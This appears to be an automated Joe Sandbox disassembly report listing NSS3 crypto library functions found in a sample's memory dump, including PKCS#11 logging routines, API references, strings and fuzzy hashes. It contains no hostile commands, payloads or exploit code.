Function 6C7A8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C7A8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A8EB3

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C7A8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C7A8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A8F29
PR_LogPrint.NSS3(?,00000000), ref: 6C7A8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C7A8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A8F80
PR_LogPrint.NSS3(?,00000000), ref: 6C7A8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C7A8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C7A8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C7A9047

Strings

hKey = 0x%x, xrefs: 6C7A8F5B, 6C7A8F6B
C_WrapKey, xrefs: 6C7A8E71
pulWrappedKeyLen = 0x%p, xrefs: 6C7A8FC8
hWrappingKey = 0x%x, xrefs: 6C7A8F01, 6C7A8F11
hSession = 0x%x, xrefs: 6C7A8E8E, 6C7A8E9E
pMechanism = 0x%p, xrefs: 6C7A8EE0
(CK_INVALID_HANDLE), xrefs: 6C7A8EAC, 6C7A8F1F, 6C7A8F79
pWrappedKey = 0x%p, xrefs: 6C7A8FAD
*pulWrappedKeyLen = 0x%x, xrefs: 6C7A9042

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 22d289d204981b75711549e9f796da997a7af330e21ec90051e834ce6c293bac
Instruction ID: 5f8a812f1d23341897fc85f06023619daf93d30b87656baf1393657095106de6
Opcode Fuzzy Hash: 22d289d204981b75711549e9f796da997a7af330e21ec90051e834ce6c293bac
Instruction Fuzzy Hash: 5351F431502155EFDB209F988F4CF9A7B76AB4631CF048476F90867A12D734BC1ACB91

Function 6C7D4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C7C4F51,00000000), ref: 6C7D4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C7C4F51,00000000), ref: 6C7D4C5B
PR_smprintf.NSS3(6C8AAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C7C4F51,00000000), ref: 6C7D4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C7C4F51,00000000), ref: 6C7D4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7D4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7D4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7D4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C7C4F51,00000000), ref: 6C7D4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C7C4F51,00000000), ref: 6C7D4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C7D4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C7D4DA2
free.MOZGLUE(?), ref: 6C7D4DB9
free.MOZGLUE(00000000), ref: 6C7D4DCF

Strings

timeout, xrefs: 6C7D4C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C7D4D9D
ootT, xrefs: 6C7D4D1A
0x%08lx=[%s %s], xrefs: 6C7D4D80
any, xrefs: 6C7D4C96
every, xrefs: 6C7D4CA1
rootFlags, xrefs: 6C7D4D47
%s,%s, xrefs: 6C7D4C4B
slotFlags, xrefs: 6C7D4D34
rust, xrefs: 6C7D4D22

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: f177ec899e00ec3cd0ebfb13c9a4d36720d19c5b54a216b12720f9ba52708a46
Instruction ID: 53e1dde75d0529bd00ca2d3e86901273953251d1d846f56983d7e746eb38187d
Opcode Fuzzy Hash: f177ec899e00ec3cd0ebfb13c9a4d36720d19c5b54a216b12720f9ba52708a46
Instruction Fuzzy Hash: 3A41ADF1900141ABDB215F54DE49ABA3665AF8230CF5A4134E80A1BB02E731F925D7D3

Function 6C7B6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7B6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C7B6943
Part of subcall function 6C7B6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C7B6957
Part of subcall function 6C7B6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C7B6972
Part of subcall function 6C7B6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C7B6983
Part of subcall function 6C7B6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7B69AA
Part of subcall function 6C7B6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7B69BE
Part of subcall function 6C7B6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7B69D2
Part of subcall function 6C7B6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7B69DF
Part of subcall function 6C7B6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C7B6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C7B6D8C
free.MOZGLUE(00000000), ref: 6C7B6DC5
free.MOZGLUE(?), ref: 6C7B6DD6
free.MOZGLUE(?), ref: 6C7B6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C7B6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7B6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7B6E72
free.MOZGLUE(?), ref: 6C7B6EA7
free.MOZGLUE(?), ref: 6C7B6EC4
free.MOZGLUE(?), ref: 6C7B6ED5
free.MOZGLUE(00000000), ref: 6C7B6EE3
free.MOZGLUE(?), ref: 6C7B6EF4
free.MOZGLUE(?), ref: 6C7B6F08
free.MOZGLUE(00000000), ref: 6C7B6F35
free.MOZGLUE(?), ref: 6C7B6F44
free.MOZGLUE(?), ref: 6C7B6F5B
free.MOZGLUE(00000000), ref: 6C7B6F65

Part of subcall function 6C7B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C7B781D,00000000,6C7ABE2C,?,6C7B6B1D,?,?,?,?,00000000,00000000,6C7B781D), ref: 6C7B6C40
Part of subcall function 6C7B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C7B781D,?,6C7ABE2C,?), ref: 6C7B6C58
Part of subcall function 6C7B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C7B781D), ref: 6C7B6C6F
Part of subcall function 6C7B6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C7B6C84
Part of subcall function 6C7B6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C7B6C96
Part of subcall function 6C7B6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C7B6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7B6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7B6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C7B6FF4

Strings

+`|l, xrefs: 6C7B6D0D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`|l
API String ID: 1304971872-3643680650
Opcode ID: 682faba1504c722236518796e5e00aea7659d53f37002e8fa7edcaf600f460ca
Instruction ID: cf43ed0f09616af22ec8ad4a7062b25fe27b940a566252fb9b7644d2369c2542
Opcode Fuzzy Hash: 682faba1504c722236518796e5e00aea7659d53f37002e8fa7edcaf600f460ca
Instruction Fuzzy Hash: A1B14CB1E012099FDF14DFA9DA45B9EBBB8BF05248F140034EA15F7A41E731EA15CBA1

Function 6C7AE640 Relevance: 34.8, APIs: 23, Instructions: 266memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,6C7B8C5B,-00000001), ref: 6C7AE655

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

PK11_GetIVLength.NSS3(-00000001,?,?,6C7B8C5B,-00000001), ref: 6C7AE7DE
PORT_Alloc_Util.NSS3(00000000,?,?,?,6C7B8C5B,-00000001), ref: 6C7AE7F4
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6C7B8C5B,-00000001), ref: 6C7AE807
PK11_GetIVLength.NSS3(-00000001,?,?,6C7B8C5B,-00000001), ref: 6C7AE81B
PORT_Alloc_Util.NSS3(00000000,?,?,?,6C7B8C5B,-00000001), ref: 6C7AE82E
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6C7B8C5B,-00000001), ref: 6C7AE841
free.MOZGLUE(00000000,?,?,?,?,?,?,6C7B8C5B,-00000001), ref: 6C7AE852
PORT_Alloc_Util.NSS3(00000004,?,?,6C7B8C5B,-00000001), ref: 6C7AE878
free.MOZGLUE(00000000,?,?,6C7B8C5B,-00000001), ref: 6C7AE8AB
PORT_Alloc_Util.NSS3(0000000C,?,?,?,6C7B8C5B,-00000001), ref: 6C7AE8B6
PORT_Alloc_Util.NSS3(00000008,?,?,?,?,6C7B8C5B,-00000001), ref: 6C7AE8D4
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7AE9D5

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Alloc_$K11_$GenerateLengthRandomfree$Item_ValueZfreemalloc
String ID:
API String ID: 1964932494-0
Opcode ID: 073349e5733edba0e6c68ee991c4857cb48f3dafc86de964623400caf0811685
Instruction ID: 0be80cafdc46dd08f612ec94fb7168419a17805ec8586abbbc1e4ee95b084084
Opcode Fuzzy Hash: 073349e5733edba0e6c68ee991c4857cb48f3dafc86de964623400caf0811685
Instruction Fuzzy Hash: 0981E7B0902B094BFB508BA99EC976F39E89B0034CF204236D95986E50F735D966C7D7

Function 6C7B2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C7B2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C7B2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7B2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7B2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C784F1C,?,-00000001,00000000,?), ref: 6C7B2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C784F1C,?,-00000001,00000000), ref: 6C7B2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7B2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7B2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C7B2EF8
PR_Unlock.NSS3(?), ref: 6C7B2F62
TlsGetValue.KERNEL32 ref: 6C7B2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7B2F9E
PR_Unlock.NSS3(?), ref: 6C7B2FCA
TlsGetValue.KERNEL32 ref: 6C7B301A
EnterCriticalSection.KERNEL32(?), ref: 6C7B302E
PR_Unlock.NSS3(?), ref: 6C7B3066
PR_SetError.NSS3(00000000,00000000), ref: 6C7B3085
PR_Unlock.NSS3(?), ref: 6C7B30EC
TlsGetValue.KERNEL32 ref: 6C7B310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7B3124
PR_Unlock.NSS3(?), ref: 6C7B314C

Part of subcall function 6C799180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C7C379E,?,6C799568,00000000,?,6C7C379E,?,00000001,?), ref: 6C79918D
Part of subcall function 6C799180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C7C379E,?,6C799568,00000000,?,6C7C379E,?,00000001,?), ref: 6C7991A0

Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607AD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607CD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607D6
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6F204A), ref: 6C7607E4
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,6C6F204A), ref: 6C760864
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C760880
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,6C6F204A), ref: 6C7608CB
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608D7
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608FB

PR_SetError.NSS3(00000000,00000000), ref: 6C7B316D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 8104c93c1cf2ba66d2af22fd7740f98f4d354cb5b0ae21e273bd5d6050997c1b
Instruction ID: b591ae05f0b4577022efdb5a90a887cdc141243c1516ac9588765464985c27bb
Opcode Fuzzy Hash: 8104c93c1cf2ba66d2af22fd7740f98f4d354cb5b0ae21e273bd5d6050997c1b
Instruction Fuzzy Hash: EDF1AEB5D00609AFDF11DF68D988B99BBB8BF09318F144179EC04A7B11EB31E995CB81

Function 6C7AAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C7AAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7AAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7AAF83

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7AAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C7AAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C7AAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C7AAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C7AB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C7AB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C7AB041

Strings

pData = 0x%p, xrefs: 6C7AAFEF
C_SignMessage, xrefs: 6C7AAF41
ulDataLen = %d, xrefs: 6C7AB00A
pParameter = 0x%p, xrefs: 6C7AAFB9
hSession = 0x%x, xrefs: 6C7AAF5E, 6C7AAF6E
ulParameterLen = 0x%p, xrefs: 6C7AAFD4
pSignature = 0x%p, xrefs: 6C7AB023
pulSignatureLen = 0x%p, xrefs: 6C7AB03C
(CK_INVALID_HANDLE), xrefs: 6C7AAF7C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 1ca4dced24910019585517135164bf94380cf118aae457a89665ec257ac73513
Instruction ID: 34a1641d400dae5ce9b8c2da7217bf5c3d490182b51da7b3857cd1c6f5171dc5
Opcode Fuzzy Hash: 1ca4dced24910019585517135164bf94380cf118aae457a89665ec257ac73513
Instruction Fuzzy Hash: BB41D235602058AFDB308F98DF4CE9A7BB1AB4631DF088475E80867B12D734B819DBE1

Function 6C7A2700 Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 114COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetSlotInfo), ref: 6C7A271C
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6C7A274E

Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(?), ref: 6C880B88
Part of subcall function 6C8809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C880C5D
Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C880C8D
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880C9C
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(?), ref: 6C880CD1
Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C880CEC
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880CFB
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C880D16
Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C880D26
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880D35
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C880D65
Part of subcall function 6C8809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C880D70
Part of subcall function 6C8809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C880D90
Part of subcall function 6C8809D0: free.MOZGLUE(00000000), ref: 6C880D99

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C7A2735

Part of subcall function 6C8809D0: PR_Now.NSS3 ref: 6C880A22
Part of subcall function 6C8809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C880A35
Part of subcall function 6C8809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C880A66
Part of subcall function 6C8809D0: PR_GetCurrentThread.NSS3 ref: 6C880A70
Part of subcall function 6C8809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C880A9D
Part of subcall function 6C8809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C880AC8
Part of subcall function 6C8809D0: PR_vsmprintf.NSS3(?,?), ref: 6C880AE8
Part of subcall function 6C8809D0: EnterCriticalSection.KERNEL32(?), ref: 6C880B19
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C880B48
Part of subcall function 6C8809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C880C76
Part of subcall function 6C8809D0: PR_LogFlush.NSS3 ref: 6C880C7E

PR_LogPrint.NSS3( slotDescription = "%.64s",?), ref: 6C7A27C2
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6C7A27E2
PR_LogPrint.NSS3( flags = %s %s %s,CKF_HW_SLOT,CKF_REMOVABLE_DEVICE,CKF_TOKEN_PRESENT), ref: 6C7A2823
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6C7A2845
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6C7A2867

Strings

slotID = 0x%x, xrefs: 6C7A2730
CKF_HW_SLOT, xrefs: 6C7A2813, 6C7A281D
manufacturerID = "%.32s", xrefs: 6C7A27DD
firmware version: %d.%d, xrefs: 6C7A2862
hardware version: %d.%d, xrefs: 6C7A2840
CKF_TOKEN_PRESENT, xrefs: 6C7A27FF, 6C7A281B
C_GetSlotInfo, xrefs: 6C7A2717
flags = %s %s %s, xrefs: 6C7A281E
pInfo = 0x%p, xrefs: 6C7A2749
CKF_REMOVABLE_DEVICE, xrefs: 6C7A2809, 6C7A281C
slotDescription = "%.64s", xrefs: 6C7A27BD

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s$ hardware version: %d.%d$ manufacturerID = "%.32s"$ pInfo = 0x%p$ slotDescription = "%.64s"$ slotID = 0x%x$CKF_HW_SLOT$CKF_REMOVABLE_DEVICE$CKF_TOKEN_PRESENT$C_GetSlotInfo
API String ID: 2278790770-1459004011
Opcode ID: 29df66b565bdfe7b66cacdbd0ffd725250487f9da7934f30bdd453726f7699a1
Instruction ID: 96fdf6ffeecd04cb8bd735b7a68e7b1acf684e6a03e7a02e3ef64329aeafefff
Opcode Fuzzy Hash: 29df66b565bdfe7b66cacdbd0ffd725250487f9da7934f30bdd453726f7699a1
Instruction Fuzzy Hash: B841F6B0602150AFEB349B969F8CA6577A5EB8221DF448975FD0997B03D730FC09CB92

Function 6C7B25D0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,?,-00000001,?,?,?,6C78662E,?,?), ref: 6C7B264E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C78662E,?,?), ref: 6C7B2670
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C78662E,?), ref: 6C7B2684
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7B26C2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6C7B26E0
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7B26F4
PR_Unlock.NSS3(?), ref: 6C7B274D
PR_SetError.NSS3(00000000,00000000), ref: 6C7B28A9

